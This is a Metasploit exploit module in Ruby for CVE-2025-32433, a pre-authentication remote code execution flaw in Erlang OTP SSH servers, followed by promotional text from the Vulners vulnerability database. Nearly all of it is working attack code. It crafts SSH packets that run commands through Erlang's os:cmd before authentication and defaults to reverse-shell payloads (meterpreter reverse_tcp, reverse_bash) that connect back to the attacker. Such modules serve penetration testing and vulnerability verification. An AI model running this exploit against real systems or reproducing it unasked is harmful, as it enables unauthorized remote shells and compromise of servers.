##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',
'Description' => %q{
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
establish a reverse shell on the target system.
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
function without requiring authentication.
},
'License' => MSF_LICENSE,
'Author' => [
'Horizon3 Attack Team',
'Matt Keeley', # PoC
'Martin Kristiansen', # PoC
'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
],
'References' => [
['CVE', '2025-32433'],
['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],
['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],
['URL', 'https://github.com/ProDefense/CVE-2025-32433']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Linux Command', {
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Type' => :linux_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
}
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2025-04-16',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(22),
OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])
])
end
# builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id)
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
payload = {
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
'channel type': 'session',
'sender channel': channel_id,
'initial window size': 0x68000,
'maximum packet size': 0x10000
}
msg.encode(payload)
end
# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id, command)
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
payload = {
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
'recipient channel': channel_id,
'request type': 'exec',
'want reply': true,
command: "os:cmd(\"#{command}\")."
}
msg.encode(payload)
end
# builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit
msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
payload = {}
payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
16.times do
payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
end
payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
payload[:compression_algorithms_client_to_server] = ['none']
payload[:compression_algorithms_server_to_client] = ['none']
payload[:languages_client_to_server] = []
payload[:languages_server_to_client] = []
payload[:first_kex_packet_follows] = false
payload[:"0 (reserved for future extension)"] = 0
msg.encode(payload)
end
# formats a list of names into an SSH-compatible string (comma-separated)
def name_list(names)
string_payload(names.join(','))
end
# pads a packet to match SSH framing
def pad_packet(payload, block_size)
min_padding = 4
payload_length = payload.length
padding_len = block_size - ((payload_length + 5) % block_size)
padding_len += block_size if padding_len < min_padding
[(payload_length + 1 + padding_len)].pack('N') +
[padding_len].pack('C') +
payload +
"\x00" * padding_len
end
# helper to format SSH string (4-byte length + bytes)
def string_payload(str)
s_bytes = str.encode('utf-8')
[s_bytes.length].pack('N') + s_bytes
end
def check
print_status('Starting scanner for CVE-2025-32433')
connect
sock.put("#{datastore['SSH_IDENT']}\r\n")
banner = sock.get_once(1024, 10)
unless banner
return Exploit::CheckCode::Unknown('No banner received')
end
unless banner.to_s.downcase.include?('erlang')
return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")
end
sleep(0.5)
print_status('Sending SSH_MSG_KEXINIT...')
kex_packet = build_kexinit
sock.put(pad_packet(kex_packet, 8))
sleep(0.5)
response = sock.get_once(1024, 5)
unless response
return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")
end
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
chan_open = build_channel_open(0)
sock.put(pad_packet(chan_open, 8))
sleep(0.5)
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)
sock.put(pad_packet(chan_req, 8))
sleep(0.5)
begin
sock.get_once(1024, 5)
rescue EOFError, Errno::ECONNRESET
return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')
end
sock.close
report_vuln(
host: datastore['RHOST'],
name: name,
refs: references,
info: 'The target is vulnerable to CVE-2025-32433.'
)
Exploit::CheckCode::Vulnerable
rescue Rex::ConnectionError
Exploit::CheckCode::Unknown('Failed to connect to the target')
rescue Rex::TimeoutError
Exploit::CheckCode::Unknown('Connection timed out')
ensure
disconnect unless sock.nil?
end
def exploit
print_status('Starting exploit for CVE-2025-32433')
connect
sock.put("SSH-2.0-OpenSSH_8.9\r\n")
banner = sock.get_once(1024)
if banner
print_good("Received banner: #{banner.strip}")
else
fail_with(Failure::Unknown, 'No banner received')
end
sleep(0.5)
print_status('Sending SSH_MSG_KEXINIT...')
kex_packet = build_kexinit
sock.put(pad_packet(kex_packet, 8))
sleep(0.5)
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
chan_open = build_channel_open(0)
sock.put(pad_packet(chan_open, 8))
sleep(0.5)
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
chan_req = build_channel_request(0, payload.encoded)
sock.put(pad_packet(chan_req, 8))
begin
response = sock.get_once(1024, 5)
if response
print_status('Packets sent successfully and receive response from the server')
hex_response = response.unpack('H*').first
vprint_status("Received response: #{hex_response}")
if hex_response.start_with?('000003')
print_good('Payload executed successfully')
else
print_error('Payload execution failed')
end
end
rescue EOFError, Errno::ECONNRESET
print_error('Payload execution failed')
rescue Rex::TimeoutError
print_error('Connection timed out')
end
sock.close
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to connect to the target')
rescue Rex::TimeoutError
fail_with(Failure::TimeoutExpired, 'Connection timed out')
rescue StandardError => e
fail_with(Failure::Unknown, "Error: #{e.message}")
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation